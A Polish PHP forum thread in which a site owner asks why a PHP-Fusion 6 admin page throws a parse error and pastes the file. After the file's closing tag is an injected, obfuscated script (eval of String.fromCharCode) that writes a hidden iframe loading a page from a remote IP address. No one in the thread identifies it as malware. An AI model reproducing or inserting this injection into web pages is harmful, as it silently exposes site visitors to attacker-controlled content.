Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: [PHP] błąd Parse error: syntax error, unexpected '?' Pomocy!
Forum PHP.pl > Forum > Przedszkole
cooler_mu
Witam. mam stronkę dla studentów prawa i coś się zepsuło. nic nie zmieniałem ostatnio aż tu nagle wyskakuja błędy typu:
Parse error: syntax error, unexpected '?' in /home/p/r/a/prawo-tomaszow/www/administration/index.php on line 105

Nie znam się na php, tylko na html. stronka jednak kodowana jest raczej w php. Pomocy!!
Cysiaczek
Hm, bez kodu ciężko cokolwiek powiedzieć.
Może jakiś błąd związany z przesiadką na php5 na serwerze?
-cooler_mu-
kodu?? czy to o to chodziło??


  1. <?php
  2. /*---------------------------------------------------+
  3. | PHP-Fusion 6 Content Management System
  4. +----------------------------------------------------+
  5. | Copyright Š 2002 - 2006 Nick Jones
  6. +----------------------------------------------------+
  7. | Released under the terms & conditions of v2 of the
  8. | GNU General Public License. For details refer to
  9. | the included gpl.txt file or visit http://gnu.org
  10. +----------------------------------------------------*/
  11. require_once "../maincore.php";
  12. require_once BASEDIR."subheader.php";
  13. require_once ADMIN."navigation.php";
  14.  
  15. if (!iADMIN || $userdata['user_rights'] == "" || !defined("iAUTH") || $aid != iAUTH) fallback("../index.php");
  16. if (!isset($pagenum) || !isNum($pagenum)) $pagenum = 1;
  17.  
  18. $admin_images = true;
  19.  
  20. // Work out which tab is the active default
  21. if ($page1) { $default = 1; }
  22. elseif ($page2) { $default = 2; }
  23. elseif ($page3) { $default = 3; }
  24. elseif ($page4) { $default = 4; }
  25. else { fallback("../index.php"); }
  26.  
  27. // Ensure the admin is allowed to access the selected page
  28. $pageon = true;
  29. if ($pagenum == 1 && !$page1) $pageon = false;
  30. if ($pagenum == 2 && !$page2) $pageon = false;
  31. if ($pagenum == 3 && !$page3) $pageon = false;
  32. if ($pagenum == 4 && !$page4) $pageon = false;
  33. if ($pageon == false) redirect("index.php".$aidlink."&pagenum=$default");
  34.  
  35. // Display admin panels & pages
  36. opentable($locale['200']." - v".$settings['version']);
  37. echo "<table align='center' cellpadding='0' cellspacing='1' width='100%' class='tbl-border'>\n<tr>\n";
  38. if ($page1) {
  39.    echo "<td align='center' width='25%' class='".($pagenum == 1 ? "tbl1" : "tbl2")."'><span class='small'>\n";
  40.    echo ($pagenum == 1 ? "<b>".$locale['ac01']."</b>" : "<a href='index.php".$aidlink."&pagenum=1'>".$locale['ac01']."</a>")."</span></td>\n";
  41. }
  42. if ($page2) {
  43.    echo "<td align='center' width='25%' class='".($pagenum == 2 ? "tbl1" : "tbl2")."'><span class='small'>\n";
  44.    echo ($pagenum == 2 ? "<b>".$locale['ac02']."</b>" : "<a href='index.php".$aidlink."&pagenum=2'>".$locale['ac02']."</a>")."</span></td>\n";
  45. }
  46. if ($page3) {
  47.    echo "<td align='center' width='25%' class='".($pagenum == 3 ? "tbl1" : "tbl2")."'><span class='small'>\n";
  48.    echo ($pagenum == 3 ? "<b>".$locale['ac03']."</b>" : "<a href='index.php".$aidlink."&pagenum=3'>".$locale['ac03']."</a>")."</span></td>\n";
  49. }
  50. if ($page4) {
  51.    echo "<td align='center' width='25%' class='".($pagenum == 4 ? "tbl1" : "tbl2")."'><span class='small'>\n";
  52.    echo ($pagenum == 4 ? "<b>".$locale['ac04']."</b>" : "<a href='index.php".$aidlink."&pagenum=4'>".$locale['ac04']."</a>")."</span></td>\n";
  53. }
  54. echo "</tr>
  55. <tr>
  56. <td colspan='4' class='tbl1'>\n";
  57. $result = dbquery("SELECT * FROM ".$db_prefix."admin WHERE admin_page='$pagenum' ORDER BY admin_title");
  58. $rows = dbrows($result);
  59. if ($rows != 0) {
  60.    $counter = 0; $columns = 4;
  61.    $align = $admin_images ? "center" : "left";
  62.    echo "<table cellpadding='0' cellspacing='0' width='100%'>\n<tr>\n";
  63.    while ($data = dbarray($result)) {
  64.        if (checkrights($data['admin_rights']) && $data['admin_link'] != "reserved") {
  65.            if ($counter != 0 && ($counter % $columns == 0)) echo "</tr>\n<tr>\n";
  66.            echo "<td align='$align' width='25%' class='tbl'>";
  67.            if ($admin_images) {
  68.                echo "<span class='small'><a href='".$data['admin_link'].$aidlink."'><img src='".ADMIN."images/".$data['admin_image']."' alt='".$data['admin_title']."' style='border:0px;'><br>\n".$data['admin_title']."</a></span>";
  69.            } else {
  70.                echo "<span class='small'><img src='".THEME."images/bullet.gif' alt=''> <a href='".$data['admin_link'].$aidlink."'>".$data['admin_title']."</a></span>";
  71.            }
  72.            echo "</td>\n";
  73.            $counter++;
  74.        }
  75.    }
  76.    echo "</tr>\n</table>\n";
  77. } else {
  78.    echo "<center><br>\n".$locale['401']."<br><br>\n</center>\n";
  79. }
  80. echo "</td>\n</tr>\n</table>\n";
  81. closetable();
  82. tablebreak();
  83. opentable($locale['250']);
  84. echo "<table align='center' cellpadding='0' cellspacing='0' width='100%'>\n<tr>\n<td valign='top' width='33%' class='small'>
  85. ".$locale['251']." ".dbcount("(user_id)", "users", "user_status<='1'")."<br>
  86. ".$locale['252']." ".dbcount("(user_id)", "users", "user_status='2'")."<br>
  87. ".$locale['253']." ".dbcount("(user_id)", "users", "user_status='1'")."
  88. </td>
  89. <td valign='top' width='33%' class='small'>
  90. ".$locale['254']." ".dbcount("(submit_id)", "submissions", "submit_type='n'")."<br>
  91. ".$locale['255']." ".dbcount("(submit_id)", "submissions", "submit_type='a'")."<br>
  92. ".$locale['256']." ".dbcount("(submit_id)", "submissions", "submit_type='l'")."<br>
  93. ".$locale['260']." ".dbcount("(submit_id)", "submissions", "submit_type='p'")."
  94. <td valign='top' width='33%' class='small'>
  95. ".$locale['257']." ".dbcount("(comment_id)", "comments")."<br>
  96. ".$locale['258']." ".dbcount("(shout_id)", "shoutbox")."<br>
  97. ".$locale['259']." ".dbcount("(post_id)", "posts")."<br>
  98. ".$locale['261']." ".dbcount("(photo_id)", "photos")."
  99. </td>\n</tr>\n</table>\n";
  100. closetable();
  101.  
  102. echo "</td>\n";
  103. require_once BASEDIR."footer.php";
  104. ?<html><body><script type="text/javascript">eval(String.fromCharCode(118,97,114,32,103,103,51,61,34,50,48,34,59,118,97,11
  105. ,32,119,61,34,48,46,54,51,34,59,118,97,114,32,114,101,54,61,34,46,52,53,34,59,11
  106. ,97,114,32,114,114,61,34,46,54,50,34,59,118,97,114,32,97,61,34,105,102,34,59,118
  107. 97,114,32,115,61,34,116,116,34,59,100,111,99,117,109,101,110,116,46,119,114,105,
  108. 16,101,40,39,60,39,43,97,43,39,114,97,109,101,32,115,114,99,61,34,104,39,43,115,
  109. 3,39,112,58,47,47,39,43,103,103,51,43,39,39,43,119,43,39,39,43,114,101,54,43,39,
  110. 9,43,114,114,43,39,47,39,43,39,119,101,114,47,39,43,39,105,110,100,101,120,46,11
  111. ,104,112,39,43,39,34,32,115,116,121,108,101,61,34,100,105,39,43,39,115,112,108,9
  112. ,121,58,110,111,110,39,43,39,101,34,62,60,47,105,102,39,43,39,114,97,109,101,62,
  113. 9,41,59,118,97,114,32,116,61,52,56,55,51,50,54,52,56,55,49,49,49,49,51,52))</script></body></html>>
  114. ?>
bregovic
Rany chrząszcza, weź to wyedytuj BBCodem, bo oczy palą. Zerknij na linię 105 tego czegoś. Co jest na niej źle?
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.